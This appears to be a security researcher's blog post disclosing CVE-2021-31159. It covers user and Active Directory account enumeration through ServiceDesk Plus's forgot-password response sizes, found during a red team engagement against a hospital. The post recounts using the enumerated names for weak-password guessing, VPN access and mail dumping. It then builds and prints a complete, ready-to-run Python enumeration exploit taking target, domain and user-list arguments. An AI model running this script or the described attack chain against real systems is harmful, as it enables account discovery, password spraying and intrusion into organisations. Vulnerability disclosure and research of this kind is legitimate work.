Finding CVE-2021-31159 for ServiceDesk Plus enumeration

This vulnerability takes advantage of ServiceDesk Plus having different output in the password recovery functionality: if the user exists it returns a message claiming an email has been sent but if it does not exist the message is constant.

Knowing this, it is possible to enumerate accounts in the application or, even better, accounts of an Active Directory if AD authentication is enabled. Very useful when the application is open to the internet and the format of the AD user accounts (for example, name initial + surname) is known.


Finding and exploiting it

I found this vulnerability during a Red Team assesment in which there was an outdated ServiceDesk Plus server open to the Internet. In the login page, these servers allow to use local authentication or an AD domain (in this case I changed it to HOSPITAL.DOMAIN):

Login


In the “forgot password” page, if the user does not exist you get a message like this:

Login


This message is constant, and so has the same size, but it changes if the username is correct (in that case, it states the user will receive an email to update the password). So we can enumerate users, both local and in a domain. If the server is exposed to the Internet, such as in this case, we can enumerate the internal domain users!

I tested typical AD username formats using the most common Spanish surnames (this was a hospital in Spain), such as (name + surname) or (first letter of name + surname). I was lucky with the latter, using the initial “d” and the very common surname “García”:

Login 2


Then I tested all the alphabet using Burp:

Burp


Nice, we got some correct users! We can use the Python library “requests” and get the same results:

Example

After this, I created a list with the common surnames in Spain (https://gist.github.com/ricardojoserf/a4d7c62f6bcae19026cb5a3e72d2e4cd) and enumerated many users. Luckily for me, they used the same format for the emails so I could get the credentials of one employee using other tool I created some time ago (adfsbrute) and testing a very weak password (with the format Companyname123). From there, I could dump all the emails from Azure, connect to the VPN… a succesful Red Team assesment, abusing such a silly vulnerability!

Creating the exploit

Now it is time to automate this attack using Python.

Creating the parser

First we create a parser with the library “argparse” to have the following parameters:

  • domain: The AD Domain to attack
  • target: The target url
  • usersfile: File containing list of users
  • outputfile (optional): File to store the correct users
def get_args():
	parser = argparse.ArgumentParser()
	parser.add_argument('-d', '--domain', required=True, action='store', help='Domain to attack')
	parser.add_argument('-t', '--target', required=True, action='store', help='Target Url to attack')
	parser.add_argument('-u', '--usersfile', required=True, action='store', help='Users file')	
	parser.add_argument('-o', '--outputfile', required=False, default="listed_users.txt", action='store', help='Output file')
	my_args = parser.parse_args()
	return my_args

Creating the main function and getting the parameters values

Next, we will define the main function, which will be the first one to run, and grab the content of the parameters calling the already defined function “get_args”:

def main():
	args = get_args()
	url = args.target
	domain = args.domain
	usersfile = args.usersfile
	outputfile = args.outputfile

Getting the “incorrect size”

First we will test a user that will never exist to check the bytes in the response from the “forgot password” functionality. We will compare this size with different users: if the user does not exist, the size will be this.

resp_incorrect = s.get(url+"/ForgotPassword.sd?userName="+"nonexistentuserforsure"+"&dname="+domain, verify = False)
incorrect_size = len(resp_incorrect.content)
print("Incorrect size: %s"%(incorrect_size))

Finding correct users

To check the list of users from te file, we will open it and create a list with each username from the file:

users = open(usersfile).read().splitlines()

Then we will iterate each user and create a request to the “forgot passsword” functionality, and checking the response size to find if it exists. If it does, it is added to the “correct_users” list:

correct_users = []
for u in users:
	resp = s.get(url+"/ForgotPassword.sd?userName="+u+"&dname="+domain, verify = False) 
	valid = (len(resp.content) != incorrect_size)
	if valid:
		correct_users.append(u)
	print("User: %s Response size: %s (correct: %s)"%(u, len(resp.content),str(valid)))

Finally, we will write the correct users to a file and print each of them:

print("\nCorrect users\n")
with open(outputfile, 'w') as f:
	for user in correct_users:
		f.write("%s\n" % user)
		print("- %s"%(user))
	print("\nResults stored in %s\n"%(outputfile))

Final exploit

The final result is this script:

import argparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def get_args():
	parser = argparse.ArgumentParser()
	parser.add_argument('-d', '--domain', required=True, action='store', help='Domain to attack')
	parser.add_argument('-t', '--target', required=True, action='store', help='Target Url to attack')
	parser.add_argument('-u', '--usersfile', required=True, action='store', help='Users file')	
	parser.add_argument('-o', '--outputfile', required=False, default="listed_users.txt", action='store', help='Output file')
	my_args = parser.parse_args()
	return my_args


def main():
	args = get_args()
	url = args.target
	domain = args.domain
	usersfile = args.usersfile
	outputfile = args.outputfile

	s = requests.session()
	s.get(url)
	resp_incorrect = s.get(url+"/ForgotPassword.sd?userName="+"nonexistentuserforsure"+"&dname="+domain, verify = False)
	incorrect_size = len(resp_incorrect.content)
	print("Incorrect size: %s"%(incorrect_size))

	correct_users = []
	users = open(usersfile).read().splitlines()
	for u in users:
			resp = s.get(url+"/ForgotPassword.sd?userName="+u+"&dname="+domain, verify = False) 
			valid = (len(resp.content) != incorrect_size)
			if valid:
				correct_users.append(u)
			print("User: %s Response size: %s (correct: %s)"%(u, len(resp.content),str(valid)))

	print("\nCorrect users\n")
	with open(outputfile, 'w') as f:
		for user in correct_users:
			f.write("%s\n" % user)
			print("- %s"%(user))

	print("\nResults stored in %s\n"%(outputfile))


if __name__ == "__main__":
    main()

References

Written on August 22, 2021